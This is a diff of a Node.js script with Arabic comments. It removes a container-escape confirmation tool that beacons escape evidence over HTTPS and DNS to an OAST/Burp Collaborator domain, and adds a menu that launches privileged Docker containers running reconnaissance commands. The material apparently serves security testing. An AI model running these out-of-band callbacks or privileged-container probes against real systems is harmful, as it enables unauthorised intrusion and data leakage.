- console.log(` HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
571
- console.log(` Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
327
+ dockerProcess.on('close', (code) => {
328
+ console.log(`\n🔚 الحاوية أغلقت مع الكود: ${code}`);
329
+ });
572
330
 
573
- if (evidenceLog.oastResults.interactions.length > 0) {
574
- console.log(` Last Interaction: ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].type} at ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].timestamp}`);
575
- }
331
+ // التعامل مع إشارات الإغلاق
332
+ process.on('SIGINT', () => {
333
+ console.log('\n\n⚠️ تم استقبال Ctrl+C...');
334
+ dockerProcess.kill('SIGINT');
335
+ });
336
+ }
337
+
338
+ // ===================== النسخة مع أوامر مسبقة =====================
339
+ function runWithPredefinedCommands() {
340
+ console.log('🚀 تشغيل حاوية مع أوامر مسبقة...\n');
341
+
342
+ const commands = [
343
+ 'echo "=== مرحباً من الحاوية المميزة ==="',
344
+ 'cat /etc/os-release | grep PRETTY_NAME',
345
+ 'uname -a',
346
+ 'whoami',
347
+ 'id',
348
+ 'echo "=== الصلاحيات ==="',
349
+ 'capsh --print 2>/dev/null | head -5 || echo "capsh غير متاح"',
350
+ 'echo "=== انتهى ==="',
351
+ 'exit 0'
352
+ ];
576
353
 
577
- // حفظ التقرير محلياً
578
- const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
579
- fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
354
+ const dockerProcess = spawn('docker', [
355
+ 'run', '--privileged', '--rm', 'ubuntu:latest', 'sh', '-c', commands.join(' && ')
356
+ ]);
580
357
 
581
- console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
358
+ dockerProcess.stdout.on('data', (data) => {
359
+ console.log(data.toString());
360
+ });
582
361
 
583
- // تعليمات التحقق من OAST
584
- console.log("\n" + "=".repeat(80));
585
- console.log("🔍 كيفية التحقق من النتائج في OAST:");
586
- console.log("=".repeat(80));
587
- console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
588
- console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
589
- console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
590
- console.log("4. ستجد التفاعلات التالية:");
591
- console.log(" - DNS requests (إذا نجحت)");
592
- console.log(" - HTTP requests (إذا نجحت)");
593
- console.log(" - HTTPS POST requests مع أدلة الهروب");
594
- console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
595
- console.log(" - 'escapedToHost': true ← تأكيد الهروب");
596
- console.log(" - 'confidence': >60% ← ثقة عالية");
597
- console.log(" - 'proofPoints' ← قائمة بالأدلة");
362
+ dockerProcess.stderr.on('data', (data) => {
363
+ console.error(data.toString());
364
+ });
598
365
 
599
- console.log("\n" + "=".repeat(80));
600
- if (evidenceLog.finalVerdict.escapedToHost === true) {
601
- console.log("🚨 تنبيه أمني: تم تأكيد الهروب من الحاوية!");
602
- console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
603
- console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
604
- } else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
605
- console.log("⚠️ تحذير: هروب محتمل من الحاوية");
606
- console.log("📡 تحقق من OAST للأدلة التفصيلية");
607
- } else {
608
- console.log("✅ الحاوية تبدو معزولة بشكل جيد");
609
- console.log("📡 تم إرسال تفاعلات OAST للتحقق");
610
- }
611
- console.log("=".repeat(80));
366
+ dockerProcess.on('close', (code) => {
367
+ console.log(`\n✅ انتهى مع الكود: ${code}`);
368
+ });
612
369
  }
613
370
 
614
- // ===================== بدء التشغيل =====================
615
- console.log("🚀 بدء عملية تأكيد هروب الحاوية مع OAST...");
616
- console.log(`📡 سيتم إرسال الأدلة إلى: ${OAST_CONFIG.domain}\n`);
371
+ // ===================== الوظيفة الرئيسية =====================
372
+ async function main() {
373
+ console.log(`
374
+ ╔══════════════════════════════════════════════════════════╗
375
+ ║ تشغيل حاوية Docker مميزة ║
376
+ ║ Privileged Container Runner ║
377
+ ╚══════════════════════════════════════════════════════════╝
378
+ `);
379
+
380
+ console.log('📋 اختر طريقة التشغيل:');
381
+ console.log(' 1. تشغيل تفاعلي بسيط (docker run --privileged -it ubuntu:latest /bin/bash)');
382
+ console.log(' 2. تشغيل مع أوامر مسبقة وعرض الناتج');
383
+ console.log(' 3. تشغيل متقدم مع تقرير كامل');
384
+ console.log(' 4. خروج');
385
+
386
+ const readline = require('readline').createInterface({
387
+ input: process.stdin,
388
+ output: process.stdout
389
+ });
390
+
391
+ readline.question('\nاختر رقم: ', async (choice) => {
392
+ switch(choice.trim()) {
393
+ case '1':
394
+ readline.close();
395
+ runSimplePrivilegedContainer();
396
+ break;
397
+
398
+ case '2':
399
+ readline.close();
400
+ runWithPredefinedCommands();
401
+ break;
402
+
403
+ case '3':
404
+ readline.close();
405
+ const runner = new PrivilegedContainerRunner();
406
+ await runner.run();
407
+ break;
408
+
409
+ default:
410
+ readline.close();
411
+ console.log('👋 تم الخروج');
412
+ break;
413
+ }
414
+ });
415
+ }
617
416
 
618
- // إرسال ping أولي
619
- sendOASTInteraction('HTTPS', {
620
- checkPoint: 'tool_start',
621
- evidence: {
622
- tool: 'ContainerEscapeConfirmation',
623
- version: '2.0',
624
- timestamp: new Date().toISOString()
625
- }
626
- });
417
+ // ===================== تشغيل مباشر من السطر =====================
418
+ if (require.main === module) {
419
+ // التحقق من تثبيت Docker
420
+ exec('which docker', (error) => {
421
+ if (error) {
422
+ console.error('❌ Docker غير مثبت أو غير موجود في PATH');
423
+ console.log(' يرجى تثبيت Docker أولاً:');
424
+ console.log(' https://docs.docker.com/get-docker/');
425
+ process.exit(1);
426
+ }
427
+
428
+ // التحقق من الصلاحيات
429
+ exec('docker ps', (error) => {
430
+ if (error && error.message.includes('permission denied')) {
431
+ console.error('❌ ليس لديك صلاحيات تشغيل Docker');
432
+ console.log(' حاول مع sudo أو أضف مستخدمك لمجموعة docker:');
433
+ console.log(' sudo usermod -aG docker $USER');
434
+ console.log(' ثم سجل الخروج وأدخل مرة أخرى');
435
+ process.exit(1);
436
+ }
437
+
438
+ // بدء البرنامج
439
+ main();
440
+ });
441
+ });
442
+ }
627
443
 
628
- // بدء التحقق
629
- setTimeout(detectContainerEnvironment, 1000);
444
+ module.exports = { PrivilegedContainerRunner, runSimplePrivilegedContainer };
Binary file
Binary file